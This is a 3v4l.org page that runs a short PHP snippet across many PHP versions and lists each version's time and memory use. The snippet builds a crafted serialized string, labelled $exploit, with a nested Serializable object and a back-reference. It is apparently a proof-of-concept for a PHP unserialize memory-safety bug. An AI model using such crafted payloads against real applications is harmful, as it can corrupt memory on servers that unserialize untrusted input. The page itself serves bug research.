3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { private $data; public function serialize() { } public function unserialize($data) { $this->data = unserialize($data); //$this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0000.01416.75
8.3.50.0120.00822.17
8.3.40.0040.01118.83
8.3.30.0120.00318.84
8.3.20.0060.00320.35
8.3.10.0040.00423.48
8.3.00.0030.00717.63
8.2.180.0150.00418.29
8.2.170.0110.00422.96
8.2.160.0070.00720.46
8.2.150.0000.00824.18
8.2.140.0040.00424.66
8.2.130.0080.00026.16
8.2.120.0090.00017.50
8.2.110.0140.00422.02
8.2.100.0040.00817.91
8.2.90.0040.00419.34
8.2.80.0050.00517.97
8.2.70.0080.00017.63
8.2.60.0080.00018.05
8.2.50.0040.00418.07
8.2.40.0000.00820.96
8.2.30.0070.00020.56
8.2.20.0040.00417.71
8.2.10.0020.00518.05
8.2.00.0000.00818.07
8.1.280.0110.00425.92
8.1.270.0070.00323.96
8.1.260.0080.00026.35
8.1.250.0060.00928.09
8.1.240.0060.00319.09
8.1.230.0080.00417.66
8.1.220.0040.00417.77
8.1.210.0000.00818.77
8.1.200.0060.00317.48
8.1.190.0040.00417.35
8.1.180.0050.00218.10
8.1.170.0080.00018.84
8.1.160.0070.00022.04
8.1.150.0000.00718.93
8.1.140.0040.00419.50
8.1.130.0040.00417.82
8.1.120.0040.00417.44
8.1.110.0000.01117.47
8.1.100.0000.00717.45
8.1.90.0070.00017.41
8.1.80.0000.00917.52
8.1.70.0030.00317.46
8.1.60.0040.00417.48
8.1.50.0040.00417.47
8.1.40.0000.00817.55
8.1.30.0040.00417.56
8.1.20.0020.00517.63
8.1.10.0000.00817.51
8.1.00.0060.00317.42
8.0.300.0000.00818.77
8.0.290.0040.00416.75
8.0.280.0070.00018.36
8.0.270.0000.00717.27
8.0.260.0060.00017.20
8.0.250.0070.00017.06
8.0.240.0000.00717.04
8.0.230.0000.00716.92
8.0.220.0000.00716.98
8.0.210.0070.00016.89
8.0.200.0040.00417.09
8.0.190.0000.00817.02
8.0.180.0000.00816.89
8.0.170.0030.00617.01
8.0.160.0040.00416.98
8.0.150.0050.00316.87
8.0.140.0000.00716.87
8.0.130.0030.00313.47
8.0.120.0000.00716.94
8.0.110.0000.00816.89
8.0.100.0040.00417.01
8.0.90.0040.00417.01
8.0.80.0120.00916.99
8.0.70.0000.00717.02
8.0.60.0070.00016.85
8.0.50.0050.00216.95
8.0.30.0100.00817.04
8.0.20.0080.01217.40
8.0.10.0040.00416.94
8.0.00.0110.00716.65
7.4.330.0000.00515.08
7.4.320.0040.00416.52
7.4.300.0000.00616.59
7.4.290.0030.00616.66
7.4.280.0040.00416.36
7.4.270.0070.00016.50
7.4.260.0070.00016.56
7.4.250.0040.00416.55
7.4.240.0020.00516.57
7.4.230.0070.00016.72
7.4.220.0040.01516.63
7.4.210.0040.01216.51
7.4.200.0040.00416.64
7.4.160.0120.00816.55
7.4.150.0120.00617.40
7.4.140.0140.00517.86
7.4.130.0090.00916.54
7.4.120.0080.01416.53
7.4.110.0090.00916.46
7.4.100.0150.00816.65
7.4.90.0110.00616.66
7.4.80.0120.00619.39
7.4.70.0100.00716.45
7.4.60.0030.01516.56
7.4.50.0030.00516.39
7.4.40.0110.01016.50
7.4.30.0080.01316.50
7.4.00.0070.00714.81
7.3.330.0000.00513.30
7.3.320.0000.00613.30
7.3.310.0030.00316.34
7.3.300.0050.00216.24
7.3.290.0080.01016.34
7.3.280.0060.01116.36
7.3.270.0060.01117.40
7.3.260.0120.00616.46
7.3.250.0100.00716.52
7.3.240.0060.01216.52
7.3.230.0060.01516.62
7.3.210.0130.00316.54
7.3.200.0120.00416.37
7.3.190.0100.00616.63
7.3.180.0160.00316.50
7.3.170.0120.00816.57
7.3.160.0080.01116.47
7.2.330.0040.01516.82
7.2.320.0090.00916.75
7.2.310.0060.01216.36
7.2.300.0060.00916.47
7.2.290.0070.01716.57
7.2.60.0000.01316.77
7.2.00.0090.00619.47
7.1.200.0060.00915.59
7.1.100.0200.00717.69
7.1.70.0030.01317.27
7.1.60.0100.01319.11
7.1.50.0030.01616.96
7.1.00.0000.08022.48
7.0.200.0260.00316.75
7.0.60.0070.06319.93
7.0.50.0130.03317.87
7.0.40.0030.09020.13
7.0.30.0230.05320.20
7.0.20.0400.06720.07
7.0.10.0230.03720.24
7.0.00.0030.09020.25
5.6.280.0030.03321.08
5.6.210.0030.06320.54
5.6.200.0070.07718.27
5.6.190.0000.04720.40
5.6.180.0230.04320.57
5.6.170.0300.07320.56
5.6.160.0170.07020.46
5.6.150.0070.07718.18
5.6.140.0030.04318.16
5.6.130.0030.09018.15
5.6.120.0070.04021.09
5.6.110.0130.06720.99
5.6.100.0030.08021.13
5.6.90.0130.07020.97
5.6.80.0070.03720.48
5.5.350.0070.07720.45
5.5.340.0070.03317.95
5.5.330.0100.07320.31
5.5.320.0330.03320.30
5.5.310.0270.07720.35
5.5.300.0000.04318.01
5.5.290.0200.07318.06
5.5.280.0070.05320.87
5.5.270.0070.05320.84
5.5.260.0000.06320.76
5.5.250.0200.06720.70
5.5.240.0100.06320.27
5.4.450.0300.04319.43
5.4.440.0200.05319.29
5.4.430.0070.06319.57
5.4.420.0170.05019.29
5.4.410.0100.06019.45
5.4.400.0170.05018.97
5.4.390.0200.05019.18
5.4.380.0170.05319.14
5.4.370.0170.04719.12
5.4.360.0170.05319.20
5.4.350.0200.05318.97
5.4.340.0170.05319.26
5.4.320.0200.05019.12
5.4.310.0130.05319.15
5.4.300.0130.05319.33
5.4.290.0270.04019.16
5.4.280.0100.05719.13
5.4.270.0170.05019.14
5.4.260.0200.05019.24
5.4.250.0230.04719.12
5.4.240.0230.05319.13
5.4.230.0230.05019.18
5.4.220.0130.05719.17
5.4.210.0100.05719.12
5.4.200.0230.04319.32
5.4.190.0070.06319.32
5.4.180.0100.05718.95
5.4.170.0170.05019.13
5.4.160.0230.04318.86
5.4.150.0170.07719.31
5.4.140.0170.04716.33
5.4.130.0100.05316.34
5.4.120.0030.06016.57
5.4.110.0130.05316.18
5.4.100.0070.05716.27
5.4.90.0170.04716.52
5.4.80.0170.04716.51
5.4.70.0230.04016.43
5.4.60.0200.04316.20
5.4.50.0170.04316.57
5.4.40.0130.06016.64
5.4.30.0230.04016.55
5.4.20.0200.04316.61
5.4.10.0100.05716.23
5.4.00.0200.04715.98

preferences:
63.35 ms | 401 KiB | 5 Q